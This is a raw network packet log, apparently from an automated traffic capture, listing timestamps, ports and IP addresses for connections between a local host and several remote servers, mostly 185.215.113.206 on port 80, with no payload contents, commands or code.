Nov 12, 2024 06:23:37.021717072 CET	443	54562	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.021972895 CET	54562	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.021972895 CET	54562	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.022062063 CET	54562	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.022073030 CET	443	54562	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.022330999 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.022351980 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.022357941 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.022452116 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.024570942 CET	54571	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.024612904 CET	443	54571	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.024740934 CET	54571	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.024852037 CET	54571	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.024866104 CET	443	54571	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.025742054 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.025749922 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.025755882 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.025835037 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.025847912 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.025855064 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.025861979 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.025922060 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.025928020 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.025960922 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.026022911 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.034033060 CET	443	54564	18.244.18.38	192.168.2.5
Nov 12, 2024 06:23:37.034550905 CET	54564	443	192.168.2.5	18.244.18.38
Nov 12, 2024 06:23:37.034565926 CET	443	54564	18.244.18.38	192.168.2.5
Nov 12, 2024 06:23:37.034884930 CET	443	54564	18.244.18.38	192.168.2.5
Nov 12, 2024 06:23:37.035343885 CET	54564	443	192.168.2.5	18.244.18.38
Nov 12, 2024 06:23:37.035343885 CET	54564	443	192.168.2.5	18.244.18.38
Nov 12, 2024 06:23:37.035361052 CET	443	54564	18.244.18.38	192.168.2.5
Nov 12, 2024 06:23:37.035412073 CET	443	54564	18.244.18.38	192.168.2.5
Nov 12, 2024 06:23:37.044118881 CET	443	54563	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.044187069 CET	443	54563	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.044346094 CET	54563	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.044346094 CET	54563	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.044379950 CET	54563	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.044394016 CET	443	54563	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.046286106 CET	54572	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.046319008 CET	443	54572	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.046704054 CET	54572	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.046704054 CET	54572	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.046726942 CET	443	54572	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.066140890 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.066174030 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.066189051 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.066201925 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.066219091 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.066231012 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.066243887 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.066306114 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.072798014 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.072837114 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.072844982 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.072864056 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.072874069 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.072881937 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.072884083 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.072889090 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.072897911 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.072897911 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.072952032 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.072952032 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.078527927 CET	54564	443	192.168.2.5	18.244.18.38
Nov 12, 2024 06:23:37.093553066 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.093616962 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.093622923 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.093637943 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.093650103 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.093656063 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.093662977 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.093676090 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.093687057 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.093688011 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.093694925 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.093708038 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.093725920 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.093770027 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.093812943 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.093818903 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.093818903 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.093869925 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.093877077 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.093888998 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.093894005 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.093900919 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.093907118 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.093928099 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.093940020 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.093947887 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.093950987 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.093996048 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.094599962 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.094736099 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.094746113 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.094752073 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.094777107 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.094783068 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.094799995 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.094814062 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.094822884 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.094887972 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.094892979 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.094922066 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.094928980 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095004082 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095010042 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095022917 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095031023 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.095221996 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.095258951 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095264912 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095279932 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095288038 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095300913 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095309973 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.095352888 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095361948 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095374107 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095379114 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095385075 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095387936 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.095390081 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095401049 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.095405102 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095418930 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095424891 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095432043 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.095470905 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095484018 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095489025 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095494032 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095499039 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.095499039 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.095501900 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095546961 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.095546961 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.095572948 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095580101 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095590115 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095596075 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095602036 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095611095 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095637083 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.095637083 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.095693111 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.095695019 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095701933 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095714092 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095721006 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095726967 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095738888 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095746040 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095750093 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095752954 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.095760107 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.095786095 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.095798016 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095803022 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095813990 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095820904 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095827103 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095850945 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.095860958 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095868111 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095879078 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095885992 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095890999 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095890999 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.095932961 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.095932961 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.095957041 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095962048 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.095976114 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.096004009 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.096014023 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.096026897 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.096036911 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.096088886 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.096172094 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.096179008 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.096184969 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.096189022 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.096196890 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.096208096 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.096211910 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.096219063 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.096219063 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.096225977 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.096232891 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.096246958 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.096246958 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.096514940 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.097980976 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098033905 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098040104 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098059893 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.098133087 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098167896 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098175049 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098186016 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098191977 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.098191977 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.098205090 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098218918 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098236084 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098237991 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.098246098 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098256111 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098269939 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098275900 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098289967 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098303080 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.098324060 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.098324060 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.098342896 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098349094 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098366022 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098372936 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098382950 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098393917 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098402023 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098443985 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.098488092 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098493099 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098504066 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098512888 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.098520041 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098526001 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098545074 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098551035 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098562002 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098566055 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.098570108 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.098659039 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098668098 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098679066 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.098684072 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098690033 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098701000 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098714113 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.098721981 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098726988 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098736048 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098746061 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.098754883 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098767996 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098773956 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.098783016 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098789930 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098817110 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.098881960 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098887920 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098897934 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098908901 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.098916054 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.098946095 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.099165916 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.138173103 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.138179064 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.138190031 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.138358116 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.141544104 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.141632080 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.141658068 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.141663074 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.141669035 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.141748905 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.141755104 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.141773939 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.141840935 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.181520939 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.181550026 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.181555986 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.181582928 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.181615114 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.181619883 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.181628942 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.181641102 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.181691885 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.181691885 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.187978983 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.187995911 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.187999964 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.188010931 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.188066006 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.188066006 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.188149929 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.188178062 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.188184977 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.188195944 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.188206911 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.188215017 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.188220978 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.188245058 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.188265085 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.188276052 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.188334942 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.188338995 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.188349962 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.188489914 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.208697081 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.208738089 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.208740950 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.208759069 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.208779097 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.208782911 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.208789110 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.208851099 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.208851099 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.208872080 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.208877087 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.208885908 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.208892107 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.208920002 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.208925962 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.208930969 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.208946943 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.208957911 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.208986998 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.208993912 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.208997965 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.209021091 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.209023952 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.209042072 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.209065914 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.209073067 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.209085941 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.209095955 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.209101915 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.209110975 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.209121943 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.209203005 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.209207058 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.209218025 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.209227085 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.209238052 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.209304094 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.209948063 CET	80	49779	185.215.113.206	192.168.2.5
